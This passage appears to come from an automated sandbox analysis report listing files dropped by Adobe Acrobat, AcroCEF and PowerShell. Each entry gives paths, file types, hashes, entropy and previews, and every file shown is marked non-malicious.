SSDEEP:	6:YEQXJ2HXAdH44fHHVoZcg1vRcR0YiC5jeoAvJf21rPeUkwRe9:YvXKXAdY4v2Zc0vwZG+16Ukee9
MD5:	F20D3480DEB730242B75FC935DB7A753
SHA1:	55697592C4B92942D29EAA9532E498EAECFECA56
SHA-256:	8A7AABBDEBE9705436471E7A4A8DDF298756D022AC9CE9E75C06E0F44ABA2F08
SHA-512:	BEBB7FCD6030B503A93A3E25E74E8CF6226CBBD50D0E6F6CE2E8A1A6788A0DC41A177E85422F443B60A3577E9F40DE2C3298ECFF712CBA59001BA251FB7DCEA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658474254144758
Encrypted:	false
SSDEEP:	24:Yv6XAO22zvwiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSH:YvS2uY8BgkDMUJUAh8cvMH
MD5:	91205EE88132C100E72A921DF2F1D21F
SHA1:	C13F6E3D3A4F65FC8034BCBB19A4729A7BB883C3
SHA-256:	2810143ED24AB8EDF093AD5B061FE69065509EF0F77986A9A08F5C763E2E4CDF
SHA-512:	5A32DA6F9D850808A83991504EF4DF0D9A77C5D7FA7A91CCBA97A3CFABD7A006CF26C4B92EF5B7124F6BC12AFC0BD4945AD86A2C4BDB9A16417A09C013EE0851
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.23181644026981
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAdH44fHHVoZcg1vRcR0YiC5jeoAvJfshHHrPeUkwRe9:YvXKXAdY4v2Zc0vwZGUUUkee9
MD5:	42BCF9E4DC8E1F3A6CB6FBCB6D9FB704
SHA1:	B50EBA6BBB578B3B197D94DB21825E154AACAA8A
SHA-256:	1452F347158D8CDA3EB89E725C4D1C3D738CB846353540D478F96F3B6E2FA087
SHA-512:	4C10C0694949E007E6AC77E0F4D9685F9E476CF516EA56762E4BD34ACA61E50C5E20EC91B98925B02E054FC48144C10C644B82ED42448A559A40ECD65B1F036C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2381130431340885
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAdH44fHHVoZcg1vRcR0YiC5jeoAvJTqgFCrPeUkwRe9:YvXKXAdY4v2Zc0vwZGTq16Ukee9
MD5:	FFCAF01D7BFC85D3B75947BA5F1781D3
SHA1:	77742BA14CE5042CA344583FF1CAE6417F55D3D0
SHA-256:	739BC42A678432C4C22F1268DCA82142ABB44EA09284586DBAD9827E6F707511
SHA-512:	80C3479CDA63C8269D315526FBA891A0CADEBDC5383651FDC11AAA2CB0C6584553829188C36C9B9AB41725F3053291BB18986B066DDA651058816DDFF0D5B768
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1402968900337624
Encrypted:	false
SSDEEP:	48:YztCaHysNQyq7+Z1r29SIc/krCWoZgePtE96:ui7ZKnr2nLeVPc6
MD5:	CA5D9F0D5FAD069D4417312BC59FDD30
SHA1:	FD11398598EA2E65736D336D9BFD7223070DEECC
SHA-256:	013536E45661B284011AC0F30B124EE462FEB10F47B49C0558D8D0309B7EBB95
SHA-512:	198BCB0EA05346A3917FD22957ECEDB4B7BC3242C90748BB8808A6A207CCFCAE1893C49E8BDF8B9F5F85B7755C7BF1D43D20F877F274BBC9CC72EF3D8DF5E4F0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"8f9e52fb6c921ca0a90343813bc39dd1","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736554425000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a3f5404f42e92a3ec5ad6c23a3b8deed","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736554425000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4acf3794c6ef9644a258d575a4fd1780","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736554425000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ed81386ba93ed22b861948f99319acfa","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736554425000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"24d1708dd9896f35128548b1ce68f3a4","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736554425000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"32dc5bb8bdf8cb56066e5dbc47bd808d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1896297521311745
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU/SvR9H9vxFGiDIAEkGVvpT:lNVmswUUUUUUUU/+FGSItf
MD5:	26BE5264FA6548E9F115B0E4F1861E86
SHA1:	A2B0C6AB44C4F83E7C5B5D0EB37503C77EB6073A
SHA-256:	24939D71616FB1BB886490A8366BE4DE226F360178CCAF4CBE42545FA0EF3F38
SHA-512:	979386FE178B07FA65DF59E751299E4AA9E9822F869E9DF2563D91A4209B7F0336D44267371017919B2D6DB6B0E47607854FA61E1F35E67842EC149B2497BEBE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6092303830674013
Encrypted:	false
SSDEEP:	48:7MR7qKUUUUUUUUUUDvR9H9vxFGiDIAEkGVvQbnqFl2GL7msy:78lUUUUUUUUUUTFGSIt6nKVmsy
MD5:	8E3539CAB646A28639CDC15727FDAC9D
SHA1:	0D0E26EBCF30ACCD01C96C0CD48068BFB4C7498A
SHA-256:	93192F283AE03B3B0D55ECE3F168735276FFD5C454FA2AC1F99794F2679A2E6D
SHA-512:	521D0BA2134DF70B7C3B0E651C85324536A48A73C70E968FB0878D9689DCF489A5B9CBCEB51550F2C19EF7E3FD41A28CFC0659D5EB3CACD5BA91DD20DCE1BB09
Malicious:	false
Preview:	.... .c......q........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgV6yBMD1LD4wVx2FOa7B5zmhh+Yyu:6a6TZ44ADEV6yMD1LD47zI+K
MD5:	EE32963726AE93D4819F2B49F24BAB50
SHA1:	DE492887E3CB32A872776954E2479690B7820922
SHA-256:	11D1E6AB8E254E57C2095FB0C3490FB3960CF1DE95640433394FD09E1132689A
SHA-512:	F6B59C2724536334A5E36339609885DCE69303CF5D76F5D748AECCE5734608D04B2F38269280908EA9A7864175079384AB5873D7D4A2211E85B123D501A13A5A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIb06f8.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5136057226030957
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEKH:Qw946cPbiOxDlbYnuRK+bDY
MD5:	26A635F6FDBD93CE8CFECADD45D09ABC
SHA1:	A81A7E13A8EEA9821203E829C2569C63B64A4B56
SHA-256:	53465D41AFB82E5C4518C9E244FEEFDDA2114625D1E962BEE83E2C468593BC01
SHA-512:	B709CF0CDAD1DC3BE6A2D31E57B0F11D098FDEFBE098AC5F27ED3B6F0B0CF168F53315A5321BB47329F349E40E7676A9EE33688555162D5E27C96D2016742BE1
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.1.3.:.5.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rcvc0on4.pdw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uky5evmc.j52.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-13-41-075.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3656673772364
Encrypted:	false
SSDEEP:	384:RXT6732u6ap5gtWNcifqKR2Gtjg0jFj3conl16eYcoNoPbvp4JacxMuslsZgfZ2Z:uj00Bu
MD5:	B9C772F2A8B29CB37C5A62D88996CB29
SHA1:	413F8B1EAF48FDEE962D5607B9D9D00E6D2FCD3B
SHA-256:	D80D7E8CB232B25A7432A74AA67622FFC16B0A4F8CC5D54EA6C2FE3410845E4E
SHA-512:	28FF9CAEA0BC24B60D08FF80A40F1025CC7DA4ABEE5E92895B6A58BB07B702D66941008048CD427114CC9963C0FB2884DF2A964F0C81BB27655FDC8849A05EA9
Malicious:	false
Preview:	SessionID=821f84da-139e-4fd4-b618-f2fc9f66e4c8.1736554421153 Timestamp=2025-01-10T19:13:41:153-0500 ThreadID=7268 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=821f84da-139e-4fd4-b618-f2fc9f66e4c8.1736554421153 Timestamp=2025-01-10T19:13:41:155-0500 ThreadID=7268 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=821f84da-139e-4fd4-b618-f2fc9f66e4c8.1736554421153 Timestamp=2025-01-10T19:13:41:155-0500 ThreadID=7268 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=821f84da-139e-4fd4-b618-f2fc9f66e4c8.1736554421153 Timestamp=2025-01-10T19:13:41:155-0500 ThreadID=7268 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=821f84da-139e-4fd4-b618-f2fc9f66e4c8.1736554421153 Timestamp=2025-01-10T19:13:41:155-0500 ThreadID=7268 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.385856850707656
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rq:9U
MD5:	88821BB213E80E787A0AF80A5CF9506D
SHA1:	EF67E73EE64B88ABF94EFB46414C20B0D410E3A0
SHA-256:	37A2A087D4A8F1FB46EDFD5702DBE836CB12BD0F2DB1C594A905B3F6224E755D
SHA-512:	9D296C910CC9010A28623A70E2CB0BD84BF8914C2F74E2C18B12D893AC2EA2A8D8F4C662D453793981599ABADCD8066DF936803EA73DE91F743B13CD96082182
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\04e11825-0429-41b3-9241-e36109c53bd5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\74f5d013-bc05-4413-ab77-5316af16362c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/bwYIGNP4mOWL07oDGZvdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:DwZG6bWLxDGZP3mlind9i4ufFXpAXkru
MD5:	B1D423333DCA2F373FF3025CCF05D34D
SHA1:	D7181E495655BE766154392AED0B27D229933347
SHA-256:	57407230B65D18663089DD8BAA043F4F62C87B65C2C11F635AF0AD02F2A83DD6
SHA-512:	99E3B08EE2E7DDB271C421BC35FC45F6389A63FF087D181ACE202A036FB0A78DDF479FFBF244223B4F76C9405B6466A755083020FD1C4EFBB98F246E7E220F27
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7663e716-4f4a-44e7-be47-901d4f6c9b80.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cd60ca08-714f-4bde-942c-98dd11e167cd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
